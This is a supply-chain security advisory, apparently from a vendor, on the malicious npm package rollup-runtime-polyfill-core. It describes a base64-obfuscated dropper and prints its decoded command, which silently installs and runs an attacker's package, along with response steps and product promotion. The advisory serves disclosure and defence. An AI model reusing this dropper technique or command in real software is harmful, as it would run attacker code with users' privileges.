rollup-runtime-polyfill-corenpm
Malicious code in rollup-runtime-polyfill-core (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package name rollup-runtime-polyfill-core impersonates the legitimate rollup-plugin-polyfill-node and even copies that project's GitHub URL into its own package.json repository.url. The shipped dist/index.js reproduces the legitimate plugin's code with an appended dropper: on module load, ValidateSvgModule() decodes a base64 string to the shell command npm install quirky-token --no-save --silent --no-audit --no-fund and spawns it; on child close, a second base64 string decodes to quirky-token, which is then require()d and invoked. Any project that requires this rollup plugin silently downloads and executes arbitrary code from the attacker-controlled quirky-token package with the consumer's privileges. The shell command and module name are base64-encoded specifically to evade casual code review and basic static scanners — there is no legitimate reason for a rollup plugin to obfuscate an npm install invocation.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for rollup-runtime-polyfill-core (version 0.13.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging rollup-runtime-polyfill-core across your stack and pipelines.
If you installed it — respond
rollup-runtime-polyfill-core is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If rollup-runtime-polyfill-core was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks rollup-runtime-polyfill-core before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks rollup-runtime-polyfill-core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.